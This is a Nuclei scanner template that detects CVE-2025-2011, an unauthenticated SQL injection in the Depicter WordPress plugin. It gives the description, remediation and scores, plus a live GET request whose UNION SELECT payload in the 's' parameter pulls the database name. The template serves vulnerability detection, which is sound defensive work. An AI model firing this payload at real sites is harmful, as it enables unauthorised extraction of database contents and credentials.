id: CVE-2025-2011

info:
  name: Slider & Popup Builder by Depicter <= 3.6.1 - Unauthenticated SQL Injection
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    The Slider & Popup Builder by Depicter plugin for WordPress is vulnerable to generic SQL Injection via the ‘s' parameter in all versions up to, and including, 3.6.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  impact: |
    Unauthenticated attackers can execute arbitrary SQL queries through the 's' parameter, leading to extraction of sensitive database information including user credentials and content data.
  remediation: |
    Upgrade to Depicter version 3.6.2 or later that properly sanitizes the search parameter.
  reference:
    - https://plugins.trac.wordpress.org/browser/depicter/trunk/app/src/Controllers/Ajax/LeadsAjaxController.php?rev=3156664#L179
    - https://plugins.trac.wordpress.org/browser/depicter/trunk/app/src/Controllers/Ajax/LeadsAjaxController.php?rev=3156664#L23
    - https://plugins.trac.wordpress.org/browser/depicter/trunk/app/src/Controllers/Ajax/LeadsAjaxController.php?rev=3156664#L49
    - https://plugins.trac.wordpress.org/browser/depicter/trunk/app/src/Database/Repository/LeadRepository.php?rev=3156664#L224
    - https://plugins.trac.wordpress.org/browser/depicter/trunk/app/src/Services/LeadService.php?rev=3156664#L82
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-2011
    cwe-id: CWE-89
    epss-score: 0.46589
    epss-percentile: 0.98701
  metadata:
    verified: true
    max-request: 1
    publicwww-query: "/wp-content/plugins/depicter/"
  tags: cve,cve2025,wordpress,wp-plugin,wp,sqli,vkev,vuln

http:
  - raw:
      - |
        GET /wp-admin/admin-ajax.php?s=9999')union+select+111,222,(select(concat(0x44617461626173653a20,database()))),4444,+5--+-&perpage=20&page=1&orderBy=source_id&dateEnd=&dateStart=&order=DESC&sources=&action=depicter-lead-index HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Database: '
          - 'commonFields'
          - 'content'
        condition: and

    extractors:
      - type: regex
        part: body
        internal: false
        name: dbname
        group: 1
        regex:
          - '"id":"Database: (.*?)"'
# digest: 4a0a00473045022100db49c317d6d9479e000e62b9ef8d1502b5783cd27b90cbf91cdc70ca128187f302202df869f32bbefdd4c79b651e027c908d37f35a4ba76531509be3777a3f78b508:922c64590222798bb761d5b6d8e72950